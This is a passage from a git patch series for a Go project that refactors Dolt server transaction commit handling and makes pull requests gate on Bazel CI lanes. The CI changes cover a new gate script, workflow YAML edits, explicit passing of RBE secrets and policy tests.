t.closeOpenTxAfterFailure(ctx, err) +} + +// commitStatement picks the statement that ends the open transaction on the +// pinned session for a commit named message. +func (t *doltServerTx) commitStatement(ctx context.Context, message string) (string, []interface{}, error) { // dolt.auto-commit=batch/off (GH#4995): defer the Dolt version commit to a // later explicit commit point (bd dolt commit), the same as the embedded // and direct SQL-server backends already do at their own commit sites @@ -86,41 +135,15 @@ func (t *doltServerTx) Commit(ctx context.Context, message string) error { // uow layer lets it surface as a lost-update signal // (lostupdate_dolt_test.go) — swallowing it a layer down could mask a // silently lost write. - pending, perr := issueops.HasPendingChanges(ctx, t.conn) - if perr != nil { - if isSerializationError(perr) { - // As below: the server already rolled the transaction back and - // the caller retries the whole unit of work, so leave the - // pinned session in place for the retry. - return perr - } - // A failed status check leaves the transaction open on the pinned - // session, exactly like a failed DOLT_COMMIT below: roll back - // before release, or poison the connection. - return t.closeOpenTxAfterFailure(ctx, perr) + pending, err := issueops.HasPendingChanges(ctx, t.conn) + if err != nil { + return "", nil, err } if !pending { stmt, args = "COMMIT;", nil } } - _, err := t.conn.ExecContext(ctx, stmt, args...) - if err == nil { - t.done = true - t.releaseConn() - return nil - } - if isSerializationError(err) { - // Serialization failures guarantee the transaction was already rolled - // back and the caller retries them, so leave the pinned session in place - // for the retry rather than tearing it down here. - return err - } - // A non-serialization DOLT_COMMIT failure leaves the transaction open on the - // pinned session. Roll it back before releasing the connection so the next - // borrower cannot inherit and implicitly commit the orphaned writes. If the - // rollback also fails the session state is unknown, so poison the connection - // and let the pool discard it instead of handing it out again. - return t.closeOpenTxAfterFailure(ctx, err) + return stmt, args, nil } // closeOpenTxAfterFailure finishes a Commit attempt that failed with the @@ -170,6 +193,7 @@ func (t *doltServerTx) rollbackConn(ctx context.Context) error { func (t *doltServerTx) releaseConn() { t.releaseJournalScope() + t.releaseRecheckScope() if t.conn != nil { _ = t.conn.Close() t.conn = nil @@ -186,6 +210,15 @@ func (t *doltServerTx) releaseJournalScope() { } } +// releaseRecheckScope is releaseJournalScope's counterpart for the +// blocked-recheck scope. Idempotent for the same reason. +func (t *doltServerTx) releaseRecheckScope() { + if t.clearRecheckScope != nil { + t.clearRecheckScope() + t.clearRecheckScope = nil + } +} + // poisonConn discards the pinned session instead of returning it to the pool. // A session whose transaction may still be open must never be reused: because // go-sql-driver's ResetSession only performs a liveness check (no @@ -194,6 +227,7 @@ func (t *doltServerTx) releaseJournalScope() { // database/sql close the connection and drop it from the pool. func (t *doltServerTx) poisonConn() { t.releaseJournalScope() + t.releaseRecheckScope() if t.conn == nil { return } From e1b2e794842c8984de8b5f0cd8892fb14d28c311 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 29 Sep 2026 03:33:20 -0700 Subject: [PATCH 230/624] ci: gate PRs on the Bazel lanes, alongside the legacy jobs (D1) (#6941) * ci(bazel): gate the Bazel lane alongside the legacy jobs (D1) pr.yml now calls bazel.yml (workflow_call) as its `bazel` job, and its CI Gate / Required requires the call's aggregate (BAZEL) plus each gated lane's result (BAZEL_TEST, BAZEL_PURE, BAZEL_EMBEDDED, BAZEL_DOLTSERVER). No legacy job is removed: PR Core, build-artifacts, the pure-Go/js-wasm check, domain+uow, contract corpus and pr-risk.yml's embedded tier stay required (D2 is separate). - bazel.yml drops its own pull_request/merge_group triggers, so a PR runs the lane once; push to main, workflow_dispatch and workflow_call stay. - Every lane records job.status in an always() last step and exports it as a workflow_call output named after the job, next to the rbe job's rbe-mode / rbe-enabled. - .github/scripts/bazel-gate.sh reads the call's rbe-mode/rbe-enabled and never re-derives the variable/fork/secret condition: mode skip allows every Bazel id to skip, local only the remote-only BAZEL_EMBEDDED, remote none; a missing or inconsistent mode fails the gate. - bazel-integration runs in the PR call but stays advisory (its legacy counterparts in main.yml run only on push to main): no gate id, and the gate script excuses the aggregate failure only when that lane reported failure or cancelled in remote mode; the gated lanes are still checked on their own ids. - Callers (pr.yml, nightly.yml) pass exactly the four RBE secrets that bazel.yml now declares, never `secrets: inherit`. - Inside pr.yml's run the Bazel bd artifact is bazel-ci-build-artifacts, so it cannot collide with build-artifacts' ci-build-artifacts upload. - bazel-autofix.yml now triggers on workflow "PR": the bazel-sync-patch artifact is uploaded inside the PR run, and "Bazel" runs are no longer PR events. Its security model is unchanged (base-branch checkout only, artifact read from the triggering run id, data-only patch). - Policy tests (review D1 F3/F4/F7): - TestBazelLaneIsGatedAlongsideLegacy: every bazel.yml job is the rbe job, a gated lane (bazelLaneGateIDs) or an advisory lane with a reason; gate ids, env expressions and outputs are derived from that map; no re-derivation in the gate step or script. - TestBazelGateSimulation runs pr.yml's actual gate step over mode in {remote, local, skip} (pull_request and merge_group): the script's skips equal the ids whose job `if:` is false, and for each lane that should run, it alone skipped, failed or cancelled turns the gate red whatever the aggregate says; advisory, aggregate and invalid-mode cases too. - TestBazelArtifactNamesUniqueInCallerRuns: no artifact name collides within a pr.yml or nightly.yml run, following local workflow calls. - Autofix: workflow_run on "PR", which must upload bazel-sync-patch itself or through an unconditional local call. Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): keep integration out of the PR call; pin the call's inputs (D1 review v2) - N1: bazel.yml gains a string workflow_call input `integration` (default "on"); bazel-integration runs only when remote and `inputs.integration != 'off'`. A string, not a boolean: on push and dispatch the input is null, and null == false would silently stop the lane on main. pr.yml passes integration: "off" (main.yml's integration jobs, its legacy counterpart, run only on push to main). The gate no longer reads bazel-integration and bazel-gate.sh no longer excuses an aggregate failure: BAZEL is the call's result, red on a missing or inconsistent rbe mode. - N3: pr.yml's call passes exactly build-artifact-name and integration: "off" (no rbe or other override). - N4: bazel.yml's concurrency group never uses github.workflow (the caller's name in a call) and differs from each caller's group for every event, so the call cannot deadlock against pr.yml. - N5: no caller of bazel.yml (pr.yml, nightly.yml) may have a pull_request_target or workflow_run trigger. - Simulation: lanes' run modes are evaluated with pr.yml's call inputs; advisory lanes must not run in the PR call, gated lanes must run when remote. - engdocs: runbook for main BUILD drift, a farm outage or the RBE cert expiry (~2027-09-27): fix main / renew, or unset RBE_WEST_WORKERS. Co-Authored-By: Claude Opus 5.5 (1M context) * docs(ci): record the enforced required-gates ruleset and PR Risk's renamed gate Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): gate the proxied-server and server-Dolt storage lanes bazel-proxied and bazel-server-storage (remote-only, #6940) join the gated lanes like bazel-embedded: pr.yml's ci-gate requires BAZEL_PROXIED and BAZEL_SERVER_STORAGE, each read from the lane's job.status output (always() recorder step, workflow_call output named after the job). Both run in pr.yml's call (no integration switch). bazel-gate.sh allows them to skip in mode local (forks, Dependabot: pr-risk.yml's legacy tiers cover those PRs) and in mode skip, never in mode remote. The gate simulation derives this from the jobs' ifs, so each lane skipped, failed or cancelled in remote mode turns the gate red. Jobs are renamed "proxied-server tier" / "server-Dolt storage tier" (shown as "Bazel / ..." under pr.yml's call). Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5.5 (1M context) --- .github/scripts/bazel-gate.sh | 56 ++ .github/workflows/bazel-autofix.yml | 17 +- .github/workflows/bazel.yml | 220 ++++++- .github/workflows/nightly.yml | 11 +- .github/workflows/pr.yml | 55 ++ engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 52 +- scripts/ci_workflow_test.go | 841 ++++++++++++++++++++++++-- 7 files changed, 1161 insertions(+), 91 deletions(-) create mode 100755 .github/scripts/bazel-gate.sh diff --git a/.github/scripts/bazel-gate.sh b/.github/scripts/bazel-gate.sh new file mode 100755 index 000000000..29f8c24a5 --- /dev/null +++ b/.github/scripts/bazel-gate.sh @@ -0,0 +1,56 @@ +#!/usr/bin/env bash +# pr.yml's ci-gate view of its bazel.yml call (the `bazel` job). bazel.yml's +# rbe job decides the execution mode once and exports it as the call's +# rbe-mode / rbe-enabled outputs; this script reads those outputs and never +# re-derives the decision (repo variable, fork, secrets) itself. +# +# bazel-gate.sh skips the Bazel gate ids whose job is skipped by design +# in this mode, for CI_GATE_SKIPPED_OK: +# skip: every lane and the aggregate (BAZEL) +# local: the remote-only BAZEL_EMBEDDED, +# BAZEL_PROXIED, BAZEL_SERVER_STORAGE +# remote: none +# bazel-gate.sh aggregate the value to gate on for BAZEL: the call's +# aggregate result, or, when the mode is missing +# or invalid (the rbe job failed, the call never +# started), an unexpected value that ci-gate.sh +# rejects. +# +# Any other skip, a failure, a cancellation, or a lane that should run but +# reported nothing (pr.yml maps an empty output to skipped) fails the gate. +# +# Inputs (environment): BAZEL_RBE_MODE, BAZEL_RBE_ENABLED (the call's +# rbe-mode / rbe-enabled outputs), BAZEL_CALL (needs.bazel.result). + +set -euo pipefail + +mode="${BAZEL_RBE_MODE:-}" +enabled="${BAZEL_RBE_ENABLED:-}" +valid=false +case "$mode/$enabled" in + remote/true | local/false | skip/false) valid=true ;; +esac + +case "${1:-}" in + skips) + skips=() + if [[ "$valid" == true ]]; then + case "$mode" in + skip) skips+=(BAZEL BAZEL_TEST BAZEL_PURE BAZEL_EMBEDDED BAZEL_DOLTSERVER BAZEL_PROXIED BAZEL_SERVER_STORAGE) ;; + local) skips+=(BAZEL_EMBEDDED BAZEL_PROXIED BAZEL_SERVER_STORAGE) ;; + esac + fi + echo "${skips[*]-}" + ;; + aggregate) + if [[ "$valid" != true ]]; then + echo "invalid-rbe-mode:$(printf '%s/%s' "$mode" "$enabled" | tr -cd 'a-z/')" + else + echo "${BAZEL_CALL:-}" + fi + ;; + *) + echo "usage: $0 skips|aggregate" >&2 + exit 2 + ;; +esac diff --git a/.github/workflows/bazel-autofix.yml b/.github/workflows/bazel-autofix.yml index 630fbd54c..5bfce89e1 100644 --- a/.github/workflows/bazel-autofix.yml +++ b/.github/workflows/bazel-autofix.yml @@ -10,9 +10,13 @@ # recipe (fork PRs). Drift elsewhere (third_party/patches, go.mod) is never # patched; the failing run lists it for a human. # -# Trigger: only "Bazel" (bazel.yml on pull_request), the one workflow that -# uploads bazel-sync-patch; pr.yml does not call bazel.yml. A run without the -# artifact is a no-op. bazel.yml builds the PR MERGE commit, so the patch also +# Trigger: only "PR" (pr.yml). bazel.yml has no pull_request trigger of its +# own: PRs run it through pr.yml's `bazel` job (workflow_call), so its +# bazel-sync-patch upload belongs to the PR run, and a failing sync step +# fails that run. The "Bazel" workflow's own runs (push to main, dispatch) +# are never pull_request events, so triggering on them would only ever be a +# no-op. A PR run without the artifact (it failed for other reasons) is a +# no-op too. bazel.yml builds the PR MERGE commit, so the patch also # carries any drift main has; only files in packages the PR itself changed # are pushed (see the script), so main's drift never lands on an unrelated PR. # @@ -21,7 +25,10 @@ # cancel-in-progress, so the two bots queue instead of racing on one branch # or cancelling a fix that is already running. The second one sees the moved # head and stops; with the PAT its push retriggers CI, which re-derives the -# other fix. +# other fix. Both bots now fire on the same PR run's completion, so one runs +# while the other waits. GitHub keeps one pending job per group: a later PR +# run finishing inside that short window can displace a waiting job, whose +# fix the next failing run re-derives. # # SECURITY MODEL: this runs with write permissions via workflow_run, so it # never checks out or executes PR code. It checks out the base default branch @@ -47,7 +54,7 @@ name: Bazel Autofix on: workflow_run: - workflows: ["Bazel"] + workflows: ["PR"] types: [completed] permissions: diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index eb4d7ca5b..44e3852bd 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1,11 +1,25 @@ -# Bazel side-by-side lane (advisory). Runs `bazel test //... --config=ci`, the -# PR Core-parity selection (race, -short, dolt skip, -requires-docker), on the -# same commit as pr.yml's go test lanes, plus one job per mirrored CI job -# (pure-Go/js-wasm, the dolt-server lane, pr-risk.yml's embedded-Dolt, -# proxied-server and server-Dolt storage tiers, main.yml's integration jobs). -# It is NOT -# in ci-gate's CI_GATE_REQUIRED; promotion needs the equivalence record -# described in tools/bazel/equivalence.py and a human decision. +# Bazel side-by-side lane, gated alongside the legacy go test jobs. Runs +# `bazel test //... --config=ci`, the PR Core-parity selection (race, -short, +# dolt skip, -requires-docker), plus one job per mirrored CI job (pure-Go and +# js/wasm, the dolt-server lane, pr-risk.yml's embedded-Dolt, proxied-server +# and server-Dolt storage tiers, main.yml's integration jobs). +# +# PRs and merge groups run it through pr.yml's `bazel` job (workflow_call), +# in the same run as the legacy jobs it mirrors, which stay required too. +# This file has no pull_request or merge_group trigger of its own, so a PR +# runs the lane once. Every lane reports its job.status as a workflow_call +# output (named after the job) from an always() last step. pr.yml's ci-gate +# requires the call's aggregate result (BAZEL) and bazel-test, bazel-pure, +# bazel-embedded, bazel-doltserver, bazel-proxied and bazel-server-storage +# (BAZEL_TEST, BAZEL_PURE, BAZEL_EMBEDDED, BAZEL_DOLTSERVER, BAZEL_PROXIED, +# BAZEL_SERVER_STORAGE); .github/scripts/bazel-gate.sh turns the rbe job's +# rbe-mode output into the skips it accepts, so a lane skipped by its `if:` +# below passes and one that should have run and failed, was cancelled or +# reported nothing fails the gate. bazel-integration is not part of the PR +# call (pr.yml passes integration: "off"): its legacy counterparts, main.yml's +# integration jobs, run only on push to main, so it runs on push to main, +# dispatch and nightly, like them. Direct runs (push to main, +# workflow_dispatch, nightly.yml's call) gate nothing. # # Execution mode, decided once by the rbe job (every other job needs it and # reads its outputs; none re-derives the condition) and passed to @@ -22,8 +36,9 @@ # bazel-proxied, bazel-server-storage), which are skipped. # skip: same-repo runs while RBE_WEST_WORKERS is unset (the farm switch). # workflow_dispatch with rbe=off simulates a fork run. The decision is also a -# workflow_call output, so a caller's gate can tell an expected skip from a -# missing lane. +# workflow_call output (rbe-mode, rbe-enabled), so pr.yml's gate can tell an +# expected skip from a missing lane without re-deriving it. Callers pass +# exactly the four RBE secrets below, never `secrets: inherit`. # # Accepted risk (same model as gascity's bazel-test.yml): on push, merge_group # and same-repo pull_request runs, code from the PR head runs with the RBE @@ -32,8 +47,8 @@ # edit can point the BEP or the executor anywhere. Anyone who can push a # branch here can therefore use or copy the certificate and write to the # farm's cache. Fork PRs never get it: pull_request from a fork receives no -# secrets, this workflow has no pull_request_target trigger, and forks cannot -# write the runner cache. Nor do Dependabot PRs, which run as same-repo but +# secrets, neither this workflow nor its callers have a pull_request_target +# trigger, and forks cannot write the runner cache. Nor do Dependabot PRs, which run as same-repo but # get no Actions secrets. In place: secrets are referenced by the setup step # alone (plus the rbe job's emptiness test of RBE_WEST_EXECUTOR, which yields # a boolean) and never by a workflow- or job-level env (policy-tested), decoded key @@ -43,8 +58,10 @@ # is issued to beads CI alone, so it can be revoked without affecting other # clients. Maintainers decided (2026-09-28) that same-repo PRs keep remote # execution under this model. Still open: a beads-only RBE_INSTANCE and -# farm-side denial of client action-cache writes. The lane is advisory and -# nothing downstream consumes artifacts built here. +# farm-side denial of client action-cache writes. Nothing downstream consumes +# artifacts built here yet; in pr.yml's run the bd artifact is +# bazel-ci-build-artifacts, so it cannot collide with the build-artifacts +# job's ci-build-artifacts. # # Runner cache: one entry per (.bazelversion, MODULE.bazel.lock) pair, about # 2 GB (Bazel's --repository_cache plus Bazelisk's Bazel download), written @@ -56,9 +73,6 @@ name: Bazel on: - pull_request: - branches: [ main, 'release/**' ] - merge_group: push: branches: [ main ] workflow_dispatch: @@ -98,6 +112,38 @@ on: type: string required: false default: "" + # A string, not a boolean: on push and dispatch inputs.integration is + # null, and null == false in GitHub's loose comparison, so a boolean + # test would silently stop the lane on main. + integration: + description: > + "off" skips bazel-integration (pr.yml: its legacy counterparts do + not run on PRs); anything else runs it where remote execution is on. + type: string + required: false + default: "on" + build-artifact-name: + description: > + Name of the uploaded bd artifact (ci-build-artifacts layout). pr.yml + sets bazel-ci-build-artifacts: its build-artifacts job uploads + ci-build-artifacts in the same run. + type: string + required: false + default: "ci-build-artifacts" + # Only what the rbe job and setup-bazel need; callers pass them + # explicitly. None is required: fork and Dependabot runs have none. + secrets: + RBE_WEST_EXECUTOR: + required: false + RBE_TLS_CERT: + required: false + RBE_TLS_KEY: + required: false + RBE_TLS_CA: + required: false + # The rbe job's decision, and each lane's job.status (success, failure or + # cancelled; empty when the lane was skipped or never reported). pr.yml's + # ci-gate reads them through .github/scripts/bazel-gate.sh. outputs: rbe-enabled: description: "'true' when the lanes executed remotely on rbe-west, else 'false'" @@ -105,8 +151,31 @@ on: rbe-mode: description: "remote, local (no remote-only jobs) or skip (no jobs): the rbe job's decision" value: ${{ jobs.rbe.outputs.mode }} + bazel-test: + description: "bazel-test's job.status" + value: ${{ jobs.bazel-test.outputs.result }} + bazel-pure: + description: "bazel-pure's job.status" + value: ${{ jobs.bazel-pure.outputs.result }} + bazel-embedded: + description: "bazel-embedded's job.status" + value: ${{ jobs.bazel-embedded.outputs.result }} + bazel-integration: + description: "bazel-integration's job.status (empty in pr.yml's call, which turns the lane off)" + value: ${{ jobs.bazel-integration.outputs.result }} + bazel-doltserver: + description: "bazel-doltserver's job.status" + value: ${{ jobs.bazel-doltserver.outputs.result }} + bazel-proxied: + description: "bazel-proxied's job.status" + value: ${{ jobs.bazel-proxied.outputs.result }} + bazel-server-storage: + description: "bazel-server-storage's job.status" + value: ${{ jobs.bazel-server-storage.outputs.result }} -# Main runs always finish (they may save the runner cache); PR runs supersede. +# Main runs always finish (they may save the runner cache); PR runs (called +# from pr.yml, whose own group cancels the calling run too) supersede. The +# group differs from pr.yml's, as a called workflow's must. concurrency: group: bazel-${{ github.event_name }}-${{ github.event.pull_request.number || github.ref }} cancel-in-progress: ${{ github.event_name == 'pull_request' }} @@ -127,7 +196,7 @@ jobs: # value, and the step runs no repository code (no checkout). Dependabot # runs read vars but get no secrets, so they come out local, not remote. rbe: - name: Bazel / execution mode + name: execution mode runs-on: ubuntu-latest timeout-minutes: 5 outputs: @@ -166,7 +235,7 @@ jobs: echo "Bazel execution mode: **$mode** (RBE_WEST_WORKERS on: $RBE_VAR_ON, rbe=off: $RBE_INPUT_OFF, fork: $FORK, executor secret: $HAS_EXECUTOR)" | tee -a "$GITHUB_STEP_SUMMARY" bazel-test: - name: Bazel / test (advisory) + name: test # Remote-execution runs use the org's Blacksmith pool (the farm's edge # admits it; GitHub-hosted runners are refused) and do not count against # GitHub's concurrent-job cap. Local runs (forks, rbe=off, no secrets) @@ -179,6 +248,8 @@ jobs: # runs while RBE_WEST_WORKERS is unset). if: ${{ needs.rbe.outputs.mode != 'skip' }} timeout-minutes: 100 + outputs: + result: ${{ steps.result.outputs.result }} steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -222,7 +293,7 @@ jobs: else tier=local; fi echo "tier=$tier" >> "$GITHUB_OUTPUT" { - echo "### Bazel / test (advisory)" + echo "### Bazel / test" echo echo "Tier **$tier**: remote execution $REMOTE, runner cache restored $RESTORED." echo @@ -259,7 +330,7 @@ jobs: if: ${{ always() && steps.bd-artifact.outcome == 'success' }} uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 with: - name: ci-build-artifacts + name: ${{ inputs.build-artifact-name || 'ci-build-artifacts' }} path: ${{ runner.temp }}/bd-artifacts/ retention-days: 1 if-no-files-found: error @@ -366,6 +437,16 @@ jobs: path: ${{ runner.temp }}/bazel-ci-cache key: bazel-repo-v2-${{ runner.os }}-${{ hashFiles('.bazelversion', 'MODULE.bazel.lock') }} + # Last step: the job's result as a workflow_call output for pr.yml's + # ci-gate. always() runs it after a failure, a timeout or a + # cancellation too. + - name: Record job result + id: result + if: ${{ always() }} + env: + JOB_STATUS: ${{ job.status }} + run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" + # pr.yml's check-cmd-bd-puregeo-tests job ("Check pure-Go and js/wasm # boundaries (CGO_ENABLED=0)") with Bazel-built binaries: --config=pure # builds bd and the job's three pure test binaries and runs its -short @@ -374,12 +455,14 @@ jobs: # js/wasm, which the Go SDK's go_js_wasm_exec runs under node with the job's # exact pass-count guard. bazel-pure: - name: Bazel / pure-Go and js/wasm (advisory) + name: pure-Go and js/wasm # Same runner and skip rule as bazel-test. needs: rbe runs-on: ${{ needs.rbe.outputs.enabled == 'true' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: ${{ needs.rbe.outputs.mode != 'skip' }} timeout-minutes: 90 + outputs: + result: ${{ steps.result.outputs.result }} env: PURE_CMD_BD_TESTS: '^Test(Help|CheckRemoteSafety|FormatDestroyToken|ShouldWireInitRemote|ExtractPrefix|IsNumericID|GetWorktreeGitDir|DriftItemStatuses|RunDriftChecks|IsServerProbablyRunning|CheckHooksDriftNotGitRepo|CheckServerDriftNoBeadsDir|CheckRemoteDriftNoBeadsDir|NocgoFactoriesHonorSharedServer|NocgoNewDoltStoreFromConfig_ErrorSuggestsCorrectFlag|NocgoNewReadOnlyStoreFromConfig_ErrorSuggestsCorrectFlag)' steps: @@ -487,6 +570,16 @@ jobs: echo "pure cmd/bd subset: $n test cases" (( n > 0 )) + # Last step: the job's result as a workflow_call output for pr.yml's + # ci-gate. always() runs it after a failure, a timeout or a + # cancellation too. + - name: Record job result + id: result + if: ${{ always() }} + env: + JOB_STATUS: ${{ job.status }} + run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" + # pr-risk.yml's embedded-Dolt tier ("Test (Embedded Dolt Cmd N/20)", # "Test (Embedded Dolt Storage N/5)", "Test (Embedded Dolt Conformance - # core/audit)") as --config=embedded: the embedded-tagged variants of @@ -497,7 +590,7 @@ jobs: # bazel-test's critical path and budget, and it compiles nothing bazel-test # does not (same race configuration, shared through the remote cache). bazel-embedded: - name: Bazel / embedded Dolt tier (advisory) + name: embedded Dolt tier # Remote execution only: skipped unless the rbe job chose remote (no # fork, rbe=off or secret-less run). Locally the tier is 27 race test # processes (~7-10k test-seconds) on one runner, an hour or more per run @@ -509,6 +602,8 @@ jobs: runs-on: ${{ needs.rbe.outputs.enabled == 'true' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: ${{ needs.rbe.outputs.enabled == 'true' }} timeout-minutes: 60 + outputs: + result: ${{ steps.result.outputs.result }} steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -554,6 +649,16 @@ jobs: if-no-files-found: ignore retention-days: 7 + # Last step: the job's result as a workflow_call output for pr.yml's + # ci-gate. always() runs it after a failure, a timeout or a + # cancellation too. + - name: Record job result + id: result + if: ${{ always() }} + env: + JOB_STATUS: ${{ job.status }} + run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" + # main.yml's "Main Linux integration packages (N/6)" and "Main Linux # integration cmd/bd (N/8)" jobs (nightly.yml's Full Test Suite runs the # same go test in one job) as --config=integration: every package with @@ -567,14 +672,17 @@ jobs: # which no run here has. check_testcases.py still catches a target or # shard that ran no tests. bazel-integration: - name: Bazel / integration (advisory) + name: integration (advisory) # Remote execution only, like bazel-embedded: locally the tagged race # build of //... plus 14 jobs' worth of tests on one runner is well over - # the timeout, for tests main.yml's integration jobs already run. + # the timeout, for tests main.yml's integration jobs already run. Off in + # pr.yml's call (integration: "off"), as those jobs are off on PRs. needs: rbe runs-on: ${{ needs.rbe.outputs.enabled == 'true' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} - if: ${{ needs.rbe.outputs.enabled == 'true' }} + if: ${{ needs.rbe.outputs.enabled == 'true' && inputs.integration != 'off' }} timeout-minutes: 40 + outputs: + result: ${{ steps.result.outputs.result }} steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -621,6 +729,15 @@ jobs: if-no-files-found: ignore retention-days: 7 + # Last step: the job's result as a workflow_call output (for + # symmetry; pr.yml's call turns this lane off). + - name: Record job result + id: result + if: ${{ always() }} + env: + JOB_STATUS: ${{ job.status }} + run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" + # pr.yml's container-backed jobs, "Test (storage domain + uow)" and # "Contract corpus", as Bazel's dolt-server lane: --config=doltserver runs # the dolt-server variants (domain/..., uow in 8 shards, tracker/..., @@ -630,12 +747,14 @@ jobs: # (--config=docker: the same suites against testcontainers on this runner, # no-remote-exec) stays the A/B control: dispatch with dolt-lane=docker. bazel-doltserver: - name: Bazel / dolt-server lane (advisory) + name: dolt-server lane # Same runner and skip rule as bazel-test. needs: rbe runs-on: ${{ needs.rbe.outputs.enabled == 'true' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: ${{ needs.rbe.outputs.mode != 'skip' }} timeout-minutes: 90 + outputs: + result: ${{ steps.result.outputs.result }} env: BAZEL_DOLT_LANE: ${{ inputs.dolt-lane || 'doltserver' }} steps: @@ -679,6 +798,16 @@ jobs: if-no-files-found: ignore retention-days: 7 + # Last step: the job's result as a workflow_call output for pr.yml's + # ci-gate. always() runs it after a failure, a timeout or a + # cancellation too. + - name: Record job result + id: result + if: ${{ always() }} + env: + JOB_STATUS: ${{ job.status }} + run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" + # pr-risk.yml's proxied-server tier, "Test (Proxied Dolt Cmd N/15)", as # --config=doltserver-proxied: //cmd/bd:bd_proxied_test runs the job's # shard script in 15 Bazel shards, so shard k runs exactly job k's tests. @@ -686,10 +815,10 @@ jobs: # shared with bazel-doltserver through the remote cache. PR Risk builds # its bd-cmd-test with -race, as here; main.yml's test-proxied-cmd twin # uses build-artifacts' non-race bd-cmd-test, so this lane is the stricter - # of the two. A job of its own, not gated by any integration switch, so a - # caller's gate can decide on it separately. + # of the two. A job of its own, not gated by any integration switch: it + # runs in pr.yml's call and its gate requires it (BAZEL_PROXIED). bazel-proxied: - name: Bazel / proxied-server tier (advisory) + name: proxied-server tier # Remote execution only, like bazel-embedded: 15 shards of ~5-10 # minutes, each with a dolt sql-server busy on ~4 cores, do not fit a # GitHub-hosted runner. @@ -697,6 +826,8 @@ jobs: runs-on: ${{ needs.rbe.outputs.enabled == 'true' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: ${{ needs.rbe.outputs.enabled == 'true' }} timeout-minutes: 30 + outputs: + result: ${{ steps.result.outputs.result }} steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -741,6 +872,16 @@ jobs: if-no-files-found: ignore retention-days: 7 + # Last step: the job's result as a workflow_call output for pr.yml's + # ci-gate. always() runs it after a failure, a timeout or a + # cancellation too. + - name: Record job result + id: result + if: ${{ always() }} + env: + JOB_STATUS: ${{ job.status }} + run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" + # pr-risk.yml's server-Dolt storage tier, "Test (Server Dolt Conformance)" # and "Test (Server Dolt Full Suite N/16)", as --config=doltserver-integration: # the conformance and 16-shard full-suite variants of @@ -749,15 +890,18 @@ jobs: # exactly --config=integration's build flags, so it compiles nothing # bazel-integration does not (shared through the remote cache). A job of # its own, not gated by any integration switch: this is a PR-time tier, - # unlike main.yml's integration jobs. + # unlike main.yml's integration jobs, and pr.yml's gate requires it + # (BAZEL_SERVER_STORAGE). bazel-server-storage: - name: Bazel / server-Dolt storage tier (advisory) + name: server-Dolt storage tier # Remote execution only, like bazel-integration: locally the tagged race # build of //... alone is most of the timeout. needs: rbe runs-on: ${{ needs.rbe.outputs.enabled == 'true' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: ${{ needs.rbe.outputs.enabled == 'true' }} timeout-minutes: 30 + outputs: + result: ${{ steps.result.outputs.result }} steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -801,3 +945,13 @@ jobs: bazel-testlogs/**/test.xml if-no-files-found: ignore retention-days: 7 + + # Last step: the job's result as a workflow_call output for pr.yml's + # ci-gate. always() runs it after a failure, a timeout or a + # cancellation too. + - name: Record job result + id: result + if: ${{ always() }} + env: + JOB_STATUS: ${{ job.status }} + run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" diff --git a/.github/workflows/nightly.yml b/.github/workflows/nightly.yml index a38d97da5..6a64c85e3 100644 --- a/.github/workflows/nightly.yml +++ b/.github/workflows/nightly.yml @@ -96,14 +96,19 @@ jobs: retention-days: 7 # Bazel lane with the full go test equivalence listing and the skip-parity - # check (advisory, like the PR run). Remote execution when the repo secrets - # are present. + # check (reported here; PRs gate on it through pr.yml). Remote execution + # when the repo secrets are present; bazel.yml gets those four and nothing + # else. bazel: name: Bazel equivalence (full detail) needs: bazel-go-test-json if: ${{ !cancelled() && (github.event_name == 'schedule' || inputs.suite == 'bazel') }} uses: ./.github/workflows/bazel.yml - secrets: inherit + secrets: + RBE_WEST_EXECUTOR: ${{ secrets.RBE_WEST_EXECUTOR }} + RBE_TLS_CERT: ${{ secrets.RBE_TLS_CERT }} + RBE_TLS_KEY: ${{ secrets.RBE_TLS_KEY }} + RBE_TLS_CA: ${{ secrets.RBE_TLS_CA }} with: details: true go-test-json-artifact: bazel-equivalence-go-test-json diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 359af6745..10408ca3a 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -1434,6 +1434,31 @@ jobs: throw 'Cygwin Make shell smoke failed' } + # The Bazel lane (bazel.yml), gated alongside the legacy jobs it mirrors + # (PR Core, build-artifacts, the pure-Go/js-wasm check, domain+uow and + # contract corpus, and pr-risk.yml's embedded-Dolt, proxied-server and + # server-Dolt storage tiers), all of which stay required. bazel.yml has no pull_request/merge_group trigger of its own: + # this call is its only PR run. It gets the four RBE secrets and nothing + # else; its rbe job decides remote, local (forks, Dependabot: no + # remote-only lanes) or skip, and exports that for ci-gate. Its + # bazel-integration lane is off here (main.yml's integration jobs, its + # legacy counterpart, run only on push to main; bazel.yml runs it there). + # Its bd artifact is renamed so it cannot collide with 